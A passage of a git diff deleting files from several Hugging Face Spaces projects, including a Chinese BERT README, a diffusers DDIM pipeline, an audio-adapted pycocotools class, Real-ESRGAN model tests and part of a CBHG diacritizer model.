-                inputs=[text, speaker, sdp_ratio, noise_scale, noise_scale_w, length_scale],
-                outputs=[text_output, audio_output])
-    
-#    webbrowser.open("http://127.0.0.1:6006")
-#    app.launch(server_port=6006, show_error=True)
-        
-    app.launch(show_error=True)
diff --git a/spaces/XzJosh/TianDou-Bert-VITS2/bert/chinese-roberta-wwm-ext-large/README.md b/spaces/XzJosh/TianDou-Bert-VITS2/bert/chinese-roberta-wwm-ext-large/README.md
deleted file mode 100644
index 7bce039b7f81ee328fdf8efe3f14409200aacbef..0000000000000000000000000000000000000000
--- a/spaces/XzJosh/TianDou-Bert-VITS2/bert/chinese-roberta-wwm-ext-large/README.md
+++ /dev/null
@@ -1,57 +0,0 @@
----
-language: 
-- zh
-tags:
-- bert
-license: "apache-2.0"
----
-
-# Please use 'Bert' related functions to load this model!
-
-## Chinese BERT with Whole Word Masking
-For further accelerating Chinese natural language processing, we provide **Chinese pre-trained BERT with Whole Word Masking**. 
-
-**[Pre-Training with Whole Word Masking for Chinese BERT](https://arxiv.org/abs/1906.08101)**  
-Yiming Cui, Wanxiang Che, Ting Liu, Bing Qin, Ziqing Yang, Shijin Wang, Guoping Hu
-
-This repository is developed based on：https://github.com/google-research/bert
-
-You may also interested in,
-- Chinese BERT series: https://github.com/ymcui/Chinese-BERT-wwm
-- Chinese MacBERT: https://github.com/ymcui/MacBERT
-- Chinese ELECTRA: https://github.com/ymcui/Chinese-ELECTRA
-- Chinese XLNet: https://github.com/ymcui/Chinese-XLNet
-- Knowledge Distillation Toolkit - TextBrewer: https://github.com/airaria/TextBrewer
-
-More resources by HFL: https://github.com/ymcui/HFL-Anthology
-
-## Citation
-If you find the technical report or resource is useful, please cite the following technical report in your paper.
-- Primary: https://arxiv.org/abs/2004.13922
-```
-@inproceedings{cui-etal-2020-revisiting,
-    title = "Revisiting Pre-Trained Models for {C}hinese Natural Language Processing",
-    author = "Cui, Yiming  and
-      Che, Wanxiang  and
-      Liu, Ting  and
-      Qin, Bing  and
-      Wang, Shijin  and
-      Hu, Guoping",
-    booktitle = "Proceedings of the 2020 Conference on Empirical Methods in Natural Language Processing: Findings",
-    month = nov,
-    year = "2020",
-    address = "Online",
-    publisher = "Association for Computational Linguistics",
-    url = "https://www.aclweb.org/anthology/2020.findings-emnlp.58",
-    pages = "657--668",
-}
-```
-- Secondary: https://arxiv.org/abs/1906.08101  
-```
-@article{chinese-bert-wwm,
-  title={Pre-Training with Whole Word Masking for Chinese BERT},
-  author={Cui, Yiming and Che, Wanxiang and Liu, Ting and Qin, Bing and Yang, Ziqing and Wang, Shijin and Hu, Guoping},
-  journal={arXiv preprint arXiv:1906.08101},
-  year={2019}
- }
-```
\ No newline at end of file
diff --git a/spaces/XzJosh/Wenjing-Bert-VITS2/text/english_bert_mock.py b/spaces/XzJosh/Wenjing-Bert-VITS2/text/english_bert_mock.py
deleted file mode 100644
index 3b894ced5b6d619a18d6bdd7d7606ba9e6532050..0000000000000000000000000000000000000000
--- a/spaces/XzJosh/Wenjing-Bert-VITS2/text/english_bert_mock.py
+++ /dev/null
@@ -1,5 +0,0 @@
-import torch
-
-
-def get_bert_feature(norm_text, word2ph):
-    return torch.zeros(1024, sum(word2ph))
diff --git a/spaces/YeOldHermit/Super-Resolution-Anime-Diffusion/diffusers/pipelines/ddim/pipeline_ddim.py b/spaces/YeOldHermit/Super-Resolution-Anime-Diffusion/diffusers/pipelines/ddim/pipeline_ddim.py
deleted file mode 100644
index b9e590dea64621ea9eada0fd5d962e58943a2775..0000000000000000000000000000000000000000
--- a/spaces/YeOldHermit/Super-Resolution-Anime-Diffusion/diffusers/pipelines/ddim/pipeline_ddim.py
+++ /dev/null
@@ -1,126 +0,0 @@
-# Copyright 2022 The HuggingFace Team. All rights reserved.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-from typing import Optional, Tuple, Union
-
-import torch
-
-from ...pipeline_utils import DiffusionPipeline, ImagePipelineOutput
-from ...utils import deprecate
-
-
-class DDIMPipeline(DiffusionPipeline):
-    r"""
-    This model inherits from [`DiffusionPipeline`]. Check the superclass documentation for the generic methods the
-    library implements for all the pipelines (such as downloading or saving, running on a particular device, etc.)
-
-    Parameters:
-        unet ([`UNet2DModel`]): U-Net architecture to denoise the encoded image.
-        scheduler ([`SchedulerMixin`]):
-            A scheduler to be used in combination with `unet` to denoise the encoded image. Can be one of
-            [`DDPMScheduler`], or [`DDIMScheduler`].
-    """
-
-    def __init__(self, unet, scheduler):
-        super().__init__()
-        self.register_modules(unet=unet, scheduler=scheduler)
-
-    @torch.no_grad()
-    def __call__(
-        self,
-        batch_size: int = 1,
-        generator: Optional[torch.Generator] = None,
-        eta: float = 0.0,
-        num_inference_steps: int = 50,
-        use_clipped_model_output: Optional[bool] = None,
-        output_type: Optional[str] = "pil",
-        return_dict: bool = True,
-        **kwargs,
-    ) -> Union[ImagePipelineOutput, Tuple]:
-        r"""
-        Args:
-            batch_size (`int`, *optional*, defaults to 1):
-                The number of images to generate.
-            generator (`torch.Generator`, *optional*):
-                A [torch generator](https://pytorch.org/docs/stable/generated/torch.Generator.html) to make generation
-                deterministic.
-            eta (`float`, *optional*, defaults to 0.0):
-                The eta parameter which controls the scale of the variance (0 is DDIM and 1 is one type of DDPM).
-            num_inference_steps (`int`, *optional*, defaults to 50):
-                The number of denoising steps. More denoising steps usually lead to a higher quality image at the
-                expense of slower inference.
-            use_clipped_model_output (`bool`, *optional*, defaults to `None`):
-                if `True` or `False`, see documentation for `DDIMScheduler.step`. If `None`, nothing is passed
-                downstream to the scheduler. So use `None` for schedulers which don't support this argument.
-            output_type (`str`, *optional*, defaults to `"pil"`):
-                The output format of the generate image. Choose between
-                [PIL](https://pillow.readthedocs.io/en/stable/): `PIL.Image.Image` or `np.array`.
-            return_dict (`bool`, *optional*, defaults to `True`):
-                Whether or not to return a [`~pipeline_utils.ImagePipelineOutput`] instead of a plain tuple.
-
-        Returns:
-            [`~pipeline_utils.ImagePipelineOutput`] or `tuple`: [`~pipelines.utils.ImagePipelineOutput`] if
-            `return_dict` is True, otherwise a `tuple. When returning a tuple, the first element is a list with the
-            generated images.
-        """
-
-        if generator is not None and generator.device.type != self.device.type and self.device.type != "mps":
-            message = (
-                f"The `generator` device is `{generator.device}` and does not match the pipeline "
-                f"device `{self.device}`, so the `generator` will be ignored. "
-                f'Please use `generator=torch.Generator(device="{self.device}")` instead.'
-            )
-            deprecate(
-                "generator.device == 'cpu'",
-                "0.11.0",
-                message,
-            )
-            generator = None
-
-        # Sample gaussian noise to begin loop
-        if isinstance(self.unet.sample_size, int):
-            image_shape = (batch_size, self.unet.in_channels, self.unet.sample_size, self.unet.sample_size)
-        else:
-            image_shape = (batch_size, self.unet.in_channels, *self.unet.sample_size)
-
-        if self.device.type == "mps":
-            # randn does not work reproducibly on mps
-            image = torch.randn(image_shape, generator=generator)
-            image = image.to(self.device)
-        else:
-            image = torch.randn(image_shape, generator=generator, device=self.device)
-
-        # set step values
-        self.scheduler.set_timesteps(num_inference_steps)
-
-        for t in self.progress_bar(self.scheduler.timesteps):
-            # 1. predict noise model_output
-            model_output = self.unet(image, t).sample
-
-            # 2. predict previous mean of image x_t-1 and add variance depending on eta
-            # eta corresponds to η in paper and should be between [0, 1]
-            # do x_t -> x_t-1
-            image = self.scheduler.step(
-                model_output, t, image, eta=eta, use_clipped_model_output=use_clipped_model_output, generator=generator
-            ).prev_sample
-
-        image = (image / 2 + 0.5).clamp(0, 1)
-        image = image.cpu().permute(0, 2, 3, 1).numpy()
-        if output_type == "pil":
-            image = self.numpy_to_pil(image)
-
-        if not return_dict:
-            return (image,)
-
-        return ImagePipelineOutput(images=image)
diff --git a/spaces/YuAnthony/Audio-Caption/coco_caption/pycocotools/coco.py b/spaces/YuAnthony/Audio-Caption/coco_caption/pycocotools/coco.py
deleted file mode 100644
index b6c8c7ddc34f2934f138501dee9c1f09835953f9..0000000000000000000000000000000000000000
--- a/spaces/YuAnthony/Audio-Caption/coco_caption/pycocotools/coco.py
+++ /dev/null
@@ -1,376 +0,0 @@
-# =================================================================
-# This code was pulled from https://github.com/tylin/coco-caption
-# and refactored for Python 3.
-# Image-specific names and comments were changed to be audio-specific.
-# (not in the beginning comment)
-# =================================================================
-
-__author__ = 'tylin'
-__version__ = '1.0.1'
-# Interface for accessing the Microsoft COCO dataset.
-
-# Microsoft COCO is a large image dataset designed for object detection,
-# segmentation, and caption generation. pycocotools is a Python API that
-# assists in loading, parsing and visualizing the annotations in COCO.
-# Please visit http://mscoco.org/ for more information on COCO, including
-# for the data, paper, and tutorials. The exact format of the annotations
-# is also described on the COCO website. For example usage of the pycocotools
-# please see pycocotools_demo.ipynb. In addition to this API, please download both
-# the COCO images and annotations in order to run the demo.
-
-# An alternative to using the API is to load the annotations directly
-# into Python dictionary
-# Using the API provides additional utility functions. Note that this API
-# supports both *instance* and *caption* annotations. In the case of
-# captions not all functions are defined (e.g. categories are undefined).
-
-# The following API functions are defined:
-#  COCO       - COCO api class that loads COCO annotation file and prepare data structures.
-#  decodeMask - Decode binary mask M encoded via run-length encoding.
-#  encodeMask - Encode binary mask M using run-length encoding.
-#  getAnnIds  - Get ann ids that satisfy given filter conditions.
-#  getCatIds  - Get cat ids that satisfy given filter conditions.
-#  getImgIds  - Get img ids that satisfy given filter conditions.
-#  loadAnns   - Load anns with the specified ids.
-#  loadCats   - Load cats with the specified ids.
-#  loadImgs   - Load imgs with the specified ids.
-#  segToMask  - Convert polygon segmentation to binary mask.
-#  showAnns   - Display the specified annotations.
-#  loadRes    - Load result file and create result api object.
-# Throughout the API "ann"=annotation, "cat"=category, and "img"=image.
-# Help on each functions can be accessed by: "help COCO>function".
-
-# See also COCO>decodeMask,
-# COCO>encodeMask, COCO>getAnnIds, COCO>getCatIds,
-# COCO>getImgIds, COCO>loadAnns, COCO>loadCats,
-# COCO>loadImgs, COCO>segToMask, COCO>showAnns
-
-# Microsoft COCO Toolbox.      Version 1.0
-# Data, paper, and tutorials available at:  http://mscoco.org/
-# Code written by Piotr Dollar and Tsung-Yi Lin, 2014.
-# Licensed under the Simplified BSD License [see bsd.txt]
-
-import json
-import datetime
-import matplotlib.pyplot as plt
-from matplotlib.collections import PatchCollection
-from matplotlib.patches import Polygon
-import numpy as np
-from skimage.draw import polygon
-import copy
-
-class COCO:
-    def __init__(self, annotation_file=None):
-        """
-        Constructor of Microsoft COCO helper class for reading and visualizing annotations.
-        :param annotation_file (str): location of annotation file
-        :param audio_folder (str): location to the folder that hosts sounds.
-        :return:
-        """
-        # load dataset
-        self.dataset = {}
-        self.anns = []
-        self.audioToAnns = {}
-        self.catToAudios = {}
-        self.audios = []
-        self.cats = []
-        if not annotation_file == None:
-            print('loading annotations into memory...')
-            time_t = datetime.datetime.utcnow()
-            dataset = json.load(open(annotation_file, 'r'))
-            print(datetime.datetime.utcnow() - time_t)
-            self.dataset = dataset
-            self.createIndex()
-
-    def createIndex(self):
-        # create index
-        print('creating index...')
-        audioToAnns = {ann['audio_id']: [] for ann in self.dataset['annotations']}
-        anns =      {ann['id']:       [] for ann in self.dataset['annotations']}
-        for ann in self.dataset['annotations']:
-            audioToAnns[ann['audio_id']] += [ann]
-            anns[ann['id']] = ann
-
-        audios      = {aud['id']: {} for aud in self.dataset['audio samples']}
-        for audio in self.dataset['audio samples']:
-            audios[audio['id']] = audio
-
-        cats = []
-        catToAudios = []
-        if self.dataset['type'] == 'instances':
-            cats = {cat['id']: [] for cat in self.dataset['categories']}
-            for cat in self.dataset['categories']:
-                cats[cat['id']] = cat
-            catToAudios = {cat['id']: [] for cat in self.dataset['categories']}
-            for ann in self.dataset['annotations']:
-                catToAudios[ann['category_id']] += [ann['audio_id']]
-
-        print('index created!')
-
-        # create class members
-        self.anns = anns
-        self.audioToAnns = audioToAnns
-        self.catToAudios = catToAudios
-        self.audios = audios
-        self.cats = cats
-
-    def info(self):
-        """
-        Print information about the annotation file.
-        :return:
-        """
-        for key, value in self.datset['info'].items():
-            print('%s: %s'%(key, value))
-
-    def getAnnIds(self, audioIds=[], catIds=[], areaRng=[], iscrowd=None):
-        """
-        Get ann ids that satisfy given filter conditions. default skips that filter
-        :param audioIds  (int array)     : get anns for given audios
-               catIds  (int array)     : get anns for given cats
-               areaRng (float array)   : get anns for given area range (e.g. [0 inf])
-               iscrowd (boolean)       : get anns for given crowd label (False or True)
-        :return: ids (int array)       : integer array of ann ids
-        """
-        audioIds = audioIds if type(audioIds) == list else [audioIds]
-        catIds = catIds if type(catIds) == list else [catIds]
-
-        if len(audioIds) == len(catIds) == len(areaRng) == 0:
-            anns = self.dataset['annotations']
-        else:
-            if not len(audioIds) == 0:
-                anns = sum([self.audioToAnns[audioId] for audioId in audioIds if audioId in self.audioToAnns],[])
-            else:
-                anns = self.dataset['annotations']
-            anns = anns if len(catIds)  == 0 else [ann for ann in anns if ann['category_id'] in catIds]
-            anns = anns if len(areaRng) == 0 else [ann for ann in anns if ann['area'] > areaRng[0] and ann['area'] < areaRng[1]]
-        if self.dataset['type'] == 'instances':
-            if not iscrowd == None:
-                ids = [ann['id'] for ann in anns if ann['iscrowd'] == iscrowd]
-            else:
-                ids = [ann['id'] for ann in anns]
-        else:
-            ids = [ann['id'] for ann in anns]
-        return ids
-
-    def getCatIds(self, catNms=[], supNms=[], catIds=[]):
-        """
-        filtering parameters. default skips that filter.
-        :param catNms (str array)  : get cats for given cat names
-        :param supNms (str array)  : get cats for given supercategory names
-        :param catIds (int array)  : get cats for given cat ids
-        :return: ids (int array)   : integer array of cat ids
-        """
-        catNms = catNms if type(catNms) == list else [catNms]
-        supNms = supNms if type(supNms) == list else [supNms]
-        catIds = catIds if type(catIds) == list else [catIds]
-
-        if len(catNms) == len(supNms) == len(catIds) == 0:
-            cats = self.dataset['categories']
-        else:
-            cats = self.dataset['categories']
-            cats = cats if len(catNms) == 0 else [cat for cat in cats if cat['name']          in catNms]
-            cats = cats if len(supNms) == 0 else [cat for cat in cats if cat['supercategory'] in supNms]
-            cats = cats if len(catIds) == 0 else [cat for cat in cats if cat['id']            in catIds]
-        ids = [cat['id'] for cat in cats]
-        return ids
-
-    def getAudioIds(self, audioIds=[], catIds=[]):
-        '''
-        Get audio ids that satisfy given filter conditions.
-        :param audioIds (int array) : get audios for given ids
-        :param catIds (int array) : get audios with all given cats
-        :return: ids (int array)  : integer array of audio ids
-        '''
-        audioIds = audioIds if type(audioIds) == list else [audioIds]
-        catIds = catIds if type(catIds) == list else [catIds]
-
-        if len(audioIds) == len(catIds) == 0:
-            ids = self.audios.keys()
-        else:
-            ids = set(audioIds)
-            for catId in catIds:
-                if len(ids) == 0:
-                    ids = set(self.catToAudios[catId])
-                else:
-                    ids &= set(self.catToAudios[catId])
-        return list(ids)
-
-    def loadAnns(self, ids=[]):
-        """
-        Load anns with the specified ids.
-        :param ids (int array)       : integer ids specifying anns
-        :return: anns (object array) : loaded ann objects
-        """
-        if type(ids) == list:
-            return [self.anns[id] for id in ids]
-        elif type(ids) == int:
-            return [self.anns[ids]]
-
-    def loadCats(self, ids=[]):
-        """
-        Load cats with the specified ids.
-        :param ids (int array)       : integer ids specifying cats
-        :return: cats (object array) : loaded cat objects
-        """
-        if type(ids) == list:
-            return [self.cats[id] for id in ids]
-        elif type(ids) == int:
-            return [self.cats[ids]]
-
-    def loadAudios(self, ids=[]):
-        """
-        Load anns with the specified ids.
-        :param ids (int array)       : integer ids specifying audio
-        :return: audios (object array) : loaded audio objects
-        """
-        if type(ids) == list:
-            return [self.audios[id] for id in ids]
-        elif type(ids) == int:
-            return [self.audios[ids]]
-
-    def showAnns(self, anns):
-        """
-        Display the specified annotations.
-        :param anns (array of object): annotations to display
-        :return: None
-        """
-        if len(anns) == 0:
-            return 0
-        if self.dataset['type'] == 'instances':
-            ax = plt.gca()
-            polygons = []
-            color = []
-            for ann in anns:
-                c = np.random.random((1, 3)).tolist()[0]
-                if type(ann['segmentation']) == list:
-                    # polygon
-                    for seg in ann['segmentation']:
-                        poly = np.array(seg).reshape((len(seg)/2, 2))
-                        polygons.append(Polygon(poly, True,alpha=0.4))
-                        color.append(c)
-                else:
-                    # mask
-                    mask = COCO.decodeMask(ann['segmentation'])
-                    audio = np.ones( (mask.shape[0], mask.shape[1], 3) )
-                    if ann['iscrowd'] == 1:
-                        color_mask = np.array([2.0,166.0,101.0])/255
-                    if ann['iscrowd'] == 0:
-                        color_mask = np.random.random((1, 3)).tolist()[0]
-                    for i in range(3):
-                        audio[:,:,i] = color_mask[i]
-                    ax.imshow(np.dstack( (audio, mask*0.5) ))
-            p = PatchCollection(polygons, facecolors=color, edgecolors=(0,0,0,1), linewidths=3, alpha=0.4)
-            ax.add_collection(p)
-        if self.dataset['type'] == 'captions':
-            for ann in anns:
-                print(ann['caption'])
-
-    def loadRes(self, resFile):
-        """
-        Load result file and return a result api object.
-        :param   resFile (str)     : file name of result file
-        :return: res (obj)         : result api object
-        """
-        res = COCO()
-        res.dataset['audio samples'] = [audio for audio in self.dataset['audio samples']]
-        res.dataset['info'] = copy.deepcopy(self.dataset['info'])
-        res.dataset['type'] = copy.deepcopy(self.dataset['type'])
-        res.dataset['licenses'] = copy.deepcopy(self.dataset['licenses'])
-
-        print('Loading and preparing results...     ')
-        time_t = datetime.datetime.utcnow()
-        anns    = json.load(open(resFile))
-        assert type(anns) == list, 'results in not an array of objects'
-        annsAudioIds = [ann['audio_id'] for ann in anns]
-        assert set(annsAudioIds) == (set(annsAudioIds) & set(self.getAudioIds())), \
-               'Results do not correspond to current coco set'
-        if 'caption' in anns[0]:
-            audioIds = set([audio['id'] for audio in res.dataset['audio samples']]) & set([ann['audio_id'] for ann in anns])
-            res.dataset['audio samples'] = [audio for audio in res.dataset['audio samples'] if audio['id'] in audioIds]
-            for id, ann in enumerate(anns):
-                ann['id'] = id
-        elif 'bbox' in anns[0] and not anns[0]['bbox'] == []:
-            res.dataset['categories'] = copy.deepcopy(self.dataset['categories'])
-            for id, ann in enumerate(anns):
-                bb = ann['bbox']
-                x1, x2, y1, y2 = [bb[0], bb[0]+bb[2], bb[1], bb[1]+bb[3]]
-                ann['segmentation'] = [[x1, y1, x1, y2, x2, y2, x2, y1]]
-                ann['area'] = bb[2]*bb[3]
-                ann['id'] = id
-                ann['iscrowd'] = 0
-        elif 'segmentation' in anns[0]:
-            res.dataset['categories'] = copy.deepcopy(self.dataset['categories'])
-            for id, ann in enumerate(anns):
-                ann['area']=sum(ann['segmentation']['counts'][2:-1:2])
-                ann['bbox'] = []
-                ann['id'] = id
-                ann['iscrowd'] = 0
-        print('DONE (t=%0.2fs)'%((datetime.datetime.utcnow() - time_t).total_seconds()))
-
-        res.dataset['annotations'] = anns
-        res.createIndex()
-        return res
-
-
-    @staticmethod
-    def decodeMask(R):
-        """
-        Decode binary mask M encoded via run-length encoding.
-        :param   R (object RLE)    : run-length encoding of binary mask
-        :return: M (bool 2D array) : decoded binary mask
-        """
-        N = len(R['counts'])
-        M = np.zeros( (R['size'][0]*R['size'][1], ))
-        n = 0
-        val = 1
-        for pos in range(N):
-            val = not val
-            for c in range(R['counts'][pos]):
-                R['counts'][pos]
-                M[n] = val
-                n += 1
-        return M.reshape((R['size']), order='F')
-
-    @staticmethod
-    def encodeMask(M):
-        """
-        Encode binary mask M using run-length encoding.
-        :param   M (bool 2D array)  : binary mask to encode
-        :return: R (object RLE)     : run-length encoding of binary mask
-        """
-        [h, w] = M.shape
-        M = M.flatten(order='F')
-        N = len(M)
-        counts_list = []
-        pos = 0
-        # counts
-        counts_list.append(1)
-        diffs = np.logical_xor(M[0:N-1], M[1:N])
-        for diff in diffs:
-            if diff:
-                pos +=1
-                counts_list.append(1)
-            else:
-                counts_list[pos] += 1
-        # if array starts from 1. start with 0 counts for 0
-        if M[0] == 1:
-            counts_list = [0] + counts_list
-        return {'size':      [h, w],
-               'counts':    counts_list ,
-               }
-
-    @staticmethod
-    def segToMask( S, h, w ):
-         """
-         Convert polygon segmentation to binary mask.
-         :param   S (float array)   : polygon segmentation mask
-         :param   h (int)           : target mask height
-         :param   w (int)           : target mask width
-         :return: M (bool 2D array) : binary mask
-         """
-         M = np.zeros((h,w), dtype=np.bool)
-         for s in S:
-             N = len(s)
-             rr, cc = polygon(np.array(s[1:N:2]), np.array(s[0:N:2])) # (y, x)
-             M[rr, cc] = 1
-         return M
diff --git a/spaces/Yuelili/RealNagrse/tests/test_model.py b/spaces/Yuelili/RealNagrse/tests/test_model.py
deleted file mode 100644
index c20bb1d56ed20222e929e9c94026f6ea383c6026..0000000000000000000000000000000000000000
--- a/spaces/Yuelili/RealNagrse/tests/test_model.py
+++ /dev/null
@@ -1,126 +0,0 @@
-import torch
-import yaml
-from basicsr.archs.rrdbnet_arch import RRDBNet
-from basicsr.data.paired_image_dataset import PairedImageDataset
-from basicsr.losses.losses import GANLoss, L1Loss, PerceptualLoss
-
-from realesrgan.archs.discriminator_arch import UNetDiscriminatorSN
-from realesrgan.models.realesrgan_model import RealESRGANModel
-from realesrgan.models.realesrnet_model import RealESRNetModel
-
-
-def test_realesrnet_model():
-    with open('tests/data/test_realesrnet_model.yml', mode='r') as f:
-        opt = yaml.load(f, Loader=yaml.FullLoader)
-
-    # build model
-    model = RealESRNetModel(opt)
-    # test attributes
-    assert model.__class__.__name__ == 'RealESRNetModel'
-    assert isinstance(model.net_g, RRDBNet)
-    assert isinstance(model.cri_pix, L1Loss)
-    assert isinstance(model.optimizers[0], torch.optim.Adam)
-
-    # prepare data
-    gt = torch.rand((1, 3, 32, 32), dtype=torch.float32)
-    kernel1 = torch.rand((1, 5, 5), dtype=torch.float32)
-    kernel2 = torch.rand((1, 5, 5), dtype=torch.float32)
-    sinc_kernel = torch.rand((1, 5, 5), dtype=torch.float32)
-    data = dict(gt=gt, kernel1=kernel1, kernel2=kernel2, sinc_kernel=sinc_kernel)
-    model.feed_data(data)
-    # check dequeue
-    model.feed_data(data)
-    # check data shape
-    assert model.lq.shape == (1, 3, 8, 8)
-    assert model.gt.shape == (1, 3, 32, 32)
-
-    # change probability to test if-else
-    model.opt['gaussian_noise_prob'] = 0
-    model.opt['gray_noise_prob'] = 0
-    model.opt['second_blur_prob'] = 0
-    model.opt['gaussian_noise_prob2'] = 0
-    model.opt['gray_noise_prob2'] = 0
-    model.feed_data(data)
-    # check data shape
-    assert model.lq.shape == (1, 3, 8, 8)
-    assert model.gt.shape == (1, 3, 32, 32)
-
-    # ----------------- test nondist_validation -------------------- #
-    # construct dataloader
-    dataset_opt = dict(
-        name='Demo',
-        dataroot_gt='tests/data/gt',
-        dataroot_lq='tests/data/lq',
-        io_backend=dict(type='disk'),
-        scale=4,
-        phase='val')
-    dataset = PairedImageDataset(dataset_opt)
-    dataloader = torch.utils.data.DataLoader(dataset=dataset, batch_size=1, shuffle=False, num_workers=0)
-    assert model.is_train is True
-    model.nondist_validation(dataloader, 1, None, False)
-    assert model.is_train is True
-
-
-def test_realesrgan_model():
-    with open('tests/data/test_realesrgan_model.yml', mode='r') as f:
-        opt = yaml.load(f, Loader=yaml.FullLoader)
-
-    # build model
-    model = RealESRGANModel(opt)
-    # test attributes
-    assert model.__class__.__name__ == 'RealESRGANModel'
-    assert isinstance(model.net_g, RRDBNet)  # generator
-    assert isinstance(model.net_d, UNetDiscriminatorSN)  # discriminator
-    assert isinstance(model.cri_pix, L1Loss)
-    assert isinstance(model.cri_perceptual, PerceptualLoss)
-    assert isinstance(model.cri_gan, GANLoss)
-    assert isinstance(model.optimizers[0], torch.optim.Adam)
-    assert isinstance(model.optimizers[1], torch.optim.Adam)
-
-    # prepare data
-    gt = torch.rand((1, 3, 32, 32), dtype=torch.float32)
-    kernel1 = torch.rand((1, 5, 5), dtype=torch.float32)
-    kernel2 = torch.rand((1, 5, 5), dtype=torch.float32)
-    sinc_kernel = torch.rand((1, 5, 5), dtype=torch.float32)
-    data = dict(gt=gt, kernel1=kernel1, kernel2=kernel2, sinc_kernel=sinc_kernel)
-    model.feed_data(data)
-    # check dequeue
-    model.feed_data(data)
-    # check data shape
-    assert model.lq.shape == (1, 3, 8, 8)
-    assert model.gt.shape == (1, 3, 32, 32)
-
-    # change probability to test if-else
-    model.opt['gaussian_noise_prob'] = 0
-    model.opt['gray_noise_prob'] = 0
-    model.opt['second_blur_prob'] = 0
-    model.opt['gaussian_noise_prob2'] = 0
-    model.opt['gray_noise_prob2'] = 0
-    model.feed_data(data)
-    # check data shape
-    assert model.lq.shape == (1, 3, 8, 8)
-    assert model.gt.shape == (1, 3, 32, 32)
-
-    # ----------------- test nondist_validation -------------------- #
-    # construct dataloader
-    dataset_opt = dict(
-        name='Demo',
-        dataroot_gt='tests/data/gt',
-        dataroot_lq='tests/data/lq',
-        io_backend=dict(type='disk'),
-        scale=4,
-        phase='val')
-    dataset = PairedImageDataset(dataset_opt)
-    dataloader = torch.utils.data.DataLoader(dataset=dataset, batch_size=1, shuffle=False, num_workers=0)
-    assert model.is_train is True
-    model.nondist_validation(dataloader, 1, None, False)
-    assert model.is_train is True
-
-    # ----------------- test optimize_parameters -------------------- #
-    model.feed_data(data)
-    model.optimize_parameters(1)
-    assert model.output.shape == (1, 3, 32, 32)
-    assert isinstance(model.log_dict, dict)
-    # check returned keys
-    expected_keys = ['l_g_pix', 'l_g_percep', 'l_g_gan', 'l_d_real', 'out_d_real', 'l_d_fake', 'out_d_fake']
-    assert set(expected_keys).issubset(set(model.log_dict.keys()))
diff --git a/spaces/Zengyf-CVer/Gradio_YOLOv5_Det_v3/README.md b/spaces/Zengyf-CVer/Gradio_YOLOv5_Det_v3/README.md
deleted file mode 100644
index 12767b2e5686c87ca3d076abbbcb8cedaab2c41b..0000000000000000000000000000000000000000
--- a/spaces/Zengyf-CVer/Gradio_YOLOv5_Det_v3/README.md
+++ /dev/null
@@ -1,15 +0,0 @@
----
-title: Gradio_YOLOv5_Det_v0.3
-emoji: 🚀
-colorFrom: purple
-colorTo: yellow
-sdk: gradio
-sdk_version: 3.0.9
-app_file: app.py
-pinned: false
-license: gpl-3.0
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces#reference
-
-🚀 Project homepage：https://gitee.com/CV_Lab/gradio_yolov5_det
diff --git a/spaces/aaaaaabbbbbbbdddddddduuuuulllll/Ashaar/poetry_diacritizer/models/cbhg.py b/spaces/aaaaaabbbbbbbdddddddduuuuulllll/Ashaar/poetry_diacritizer/models/cbhg.py
deleted file mode 100644
index c2b8f061d10ec6b1a9490029a4b4ed43fdd5e861..0000000000000000000000000000000000000000
--- a/spaces/aaaaaabbbbbbbdddddddduuuuulllll/Ashaar/poetry_diacritizer/models/cbhg.py
+++ /dev/null
@@ -1,121 +0,0 @@
-"""
-The CBHG model implementation
-"""
-from typing import List, Optional
-
-from torch import nn
-import torch
-
-from poetry_diacritizer.modules.tacotron_modules import CBHG, Prenet
-
-
-class CBHGModel(nn.Module):
-    """CBHG model implementation as described in the paper:
-     https://ieeexplore.ieee.org/document/9274427
-
-    Args:
-    inp_vocab_size (int): the number of the input symbols
-    targ_vocab_size (int): the number of the target symbols (diacritics)
-    embedding_dim (int): the embedding  size
-    use_prenet (bool): whether to use prenet or not
-    prenet_sizes (List[int]): the sizes of the prenet networks
-    cbhg_gru_units (int): the number of units of the CBHG GRU, which is the last
-    layer of the CBHG Model.
-    cbhg_filters (int): number of filters used in the CBHG module
-    cbhg_projections: projections used in the CBHG module
-
-    Returns:
-    diacritics Dict[str, Tensor]:
-    """
-
-    def __init__(
-        self,
-        inp_vocab_size: int,
-        targ_vocab_size: int,
-        embedding_dim: int = 512,
-        use_prenet: bool = True,
-        prenet_sizes: List[int] = [512, 256],
-        cbhg_gru_units: int = 512,
-        cbhg_filters: int = 16,
-        cbhg_projections: List[int] = [128, 256],
-        post_cbhg_layers_units: List[int] = [256, 256],
-        post_cbhg_use_batch_norm: bool = True
-    ):
-        super().__init__()
-        self.use_prenet = use_prenet
-        self.embedding = nn.Embedding(inp_vocab_size, embedding_dim)
-        if self.use_prenet:
-            self.prenet = Prenet(embedding_dim, prenet_depth=prenet_sizes)
-
-        self.cbhg = CBHG(
-            prenet_sizes[-1] if self.use_prenet else embedding_dim,
-            cbhg_gru_units,
-            K=cbhg_filters,
-            projections=cbhg_projections,
-        )
-
-        layers = []
-        post_cbhg_layers_units = [cbhg_gru_units] + post_cbhg_layers_units
-
-        for i in range(1, len(post_cbhg_layers_units)):
-            layers.append(
-                nn.LSTM(
-                    post_cbhg_layers_units[i - 1] * 2,
-                    post_cbhg_layers_units[i],
-                    bidirectional=True,
-                    batch_first=True,
-                )
-            )
-            if post_cbhg_use_batch_norm:
-                layers.append(nn.BatchNorm1d(post_cbhg_layers_units[i] * 2))
-
-        self.post_cbhg_layers = nn.ModuleList(layers)
-        self.projections = nn.Linear(post_cbhg_layers_units[-1] * 2, targ_vocab_size)
-        self.post_cbhg_layers_units = post_cbhg_layers_units
-        self.post_cbhg_use_batch_norm = post_cbhg_use_batch_norm
-
-
-    def forward(
-        self,
-        src: torch.Tensor,
-        lengths: Optional[torch.Tensor] = None,
-        target: Optional[torch.Tensor] = None,  # not required in this model
-    ):
-        """Compute forward propagation"""
-
-        # src = [batch_size, src len]
-        # lengths = [batch_size]
-        # target = [batch_size, trg len]
-
-        embedding_out = self.embedding(src)
-        # embedding_out; [batch_size, src_len, embedding_dim]
-
-        cbhg_input = embedding_out
